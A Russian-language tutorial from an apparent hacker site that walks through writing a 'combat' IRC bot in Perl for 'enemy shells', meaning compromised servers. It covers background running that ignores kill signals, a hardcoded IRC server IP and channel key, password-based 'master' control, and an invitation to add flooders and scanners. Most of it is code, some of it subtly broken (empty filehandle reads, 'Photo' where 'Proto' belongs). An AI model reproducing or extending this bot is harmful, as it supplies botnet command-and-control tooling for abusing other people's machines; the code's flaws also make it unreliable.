Новичку полезно

  • А знаете ли вы что?

    - для того, чтобы стать хакером нужно только две вещи, терпение и стремление?


Боевой бот для irc на perl

Теги: бот, ирц, irc, перл, perl, программирование, информация

 

Долой вступление, перейдем к делу. Напишем основное тело бота, оно будет висеть на канале и ждать команды. Для начала подключим модуль IO::Socket.

#!/usr/bin/perl
use IO::Socket;



Так как наш боевой и укомплектованный бот будет находиться на вражеский шеллах, его надо запускать фоном. Для этого пропишем никому неведомый код:

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/");
$| = 1;

Далее идет кусок конфигурации бота:

$serv='rudvs.org.ru';   #Имя сервера для пинг-понга(не стал обрабатывать это програмно)
$sname = '188.120.225.226';   #Ip или адрес сервера на котором будем сидеть
$sport = 6667;                #Собственно порт сервера
$username = mnick(5);         #Юзернейм нашего бота, здесь вызываем процедуру генерации буковок
$identname = mnick(5);        #Идент
$infoclient = 'mIRC 3.1';     #Инфо
$join = '#bot';               #Канал на который бот зайдет и будет сидеть
$nick = mnick(5);             #Ник бота
$key = '123321';              #Ключ к каналу $join, если хозяин вздумает запереть канал
$pwd = 'BTR69';               #Пароль для авторизации бота
$master='null';               #Имя хозяина бота по умолчанию

Теперь наш бот приобрел облик и цели в жизни. Все что осталось сделать это показать куда идти и дать ему пинка под зад:

$server=IO::Socket::INET->new(
PeerAddr => $sname,
PeerPort => $sport,
Photo => tcp) || die print "Unable to connect to $sname:$sport\n";

Пытаемся создать сокет, если есть какие то проблемы, то умираем(не путать с эмо-ботом).
После того как мы постучали на сервер, нам надо представиться. На перле это делается особенно интересно:

print $server "nick $nick\n";               
print $server "user $username $identname super :$infoclient\n";

Здесь мы отсылаем данные серверу из своей конфигурации. После того как сервер
нас признал, он выдаст кучу бесполезной информации, нам остается только
притихнуть и ждать всего одну значимую строчку "End of /MOTD". Мы будем
тихо сидеть и смотреть что нам пишет сервер:

while (not($response =~/376/i)){
    $response=;
    print $server "join $join $key\n";
    }

Программа попадает в цикл и не выйдет из него пока в ответе сервера не попадется
число 376. Это код сообщающий о том, что сервер готов принимать наши
команды. К слову сказать это число может меняться в зависимости от
сервера.

Далее начинается само тело бота. Оно будет представлять бесконечный цикл.
Первое что будем делать в цикле - это обрабатывать все что нам сказал
сервер:

con:;                             #Метка для нашего цикла

$response=;              #Помещаем ответ сервера в переменную
chomp ($response);                #Удаляем символ конца строки
@otmessage=split(/ /,$response);  #Разбиваем строчку на слова между которыми есть пробел и заносим в массив @otmessage

Строчка с сообщением на сервере выглядит так:

:NopGod! Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript PRIVMSG #bot :Hi

После наших манипуляций получается следующее содержание массива @otmessage :

$otmessage[0] = :NopGod! Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
$otmessage[1] = PRIVMSG
$otmessage[2] = #bot
$otmessage[3] = :Hi

Теперь возьмем первый элемент массива и попробуем вырезать ник человека который написал сообщение:

@sp=split(/\!/,$otmessage[0]);

Мы разбили строчку :NopGod! Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript на две части - до символа "!" и после и поместили в массив @sp, теперь он выглядит так:

$sp[0] = :NopGod
$sp[1] = Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript

Осталось только удалить ненужный символ и поместить в переменную ник отправителя:

$sp[0] =~s/://g;
$unick = $sp[0];

И тоже самое делаем с названием канала котором это сообщение написано:

$chan=$otmessage[2];

Делается это для удобства. Тем же для кого важны пару тактов в скорости могут на это забить и пользоватся корявыми названиями $sp[0] и $otmessage[2].

Далее начнем обрабатывать команды которые бот найдет в ответе сервера(напомню что мы парсим все это дело и помещаем в переменную $response ).

Для начала устроим пинг-понг чтобы бот не отвалился через минуту после коннекта:

if ($response=~/PING \:$serv/i) {
        print $server "PONG :$serv\n";
        goto now;                                                    
        }

Если в строчке находим слово PING с названием сервера, то пишем напрямую в сокет PONG.

Для тех же скоростных людей можно реализовать подругому:

if ($response=~/PING \:(.*)/i) {
        print $server "PONG :$1\n";
        goto now;                                                    
        }

При таком подходе первая строчка в конфигурации не нужна.

Затем зделаем некое подобие авторизации:

if ($response=~/\^lg+(.*)/i) {
        if ($1 eq $pwd){
              print $server "PRIVMSG $chan :[!]Pwd accepted...\n";
              $master=$unick;
              $login=1;
              goto now;
        } else {
              $login=0;
              $master='null';
              }
}

При команде ^lg BTR69 бот запоминает хозяина и поднимает флаг $login. В пративном случае забывает хозяина и обускает флаг.

Следующая команда для примера будет переименововать бота. Бесполезный, но наглядный пример:

if ($response=~/\*ch/i and $login == 1) {
        $nick = mnick(5);
        print $server "NICK $nick\n";
        goto now;
}

Здесь уже два условия для выполнения - это наличие команды *ch и поднятый флаг авторизации. Если эти условия выполняются, то вызывается функция mnick() (код которой будет ниже), посылается команда серверу и переходим на метку now;

Здесь вы можете дабавить различные флудеры, сканеры и другие полезные вещи.

И наконец функция mnick():

sub mnick {
        my $nres;
               while (length $nres != $_[0]) {
                    foreach my $nrand (a..z) {
                           if (int rand 20 == 5) {
                                  $nres .= $nrand;
                                  last;
                                  }
                    }       
             }
        return $nres;
}

В функцию посылается параметр и забивается переменная $nres случайными буквами из диапозона (a..z)

И в заключении зацикливыем это все:

now:;
sleep(1);            
goto con;

Из каждого блока с командой для бота программа переходит на метку now:; где засыпает на секунду и возвращается в начало цикла. Пауза в секунду нужна чтобы не загружать сервер.

Полный листинг и обсуждение на форуме - http://rudvs.org.ru/forum/index.php?topic=20.0

Удачи!

Добавить комментарий


Обновить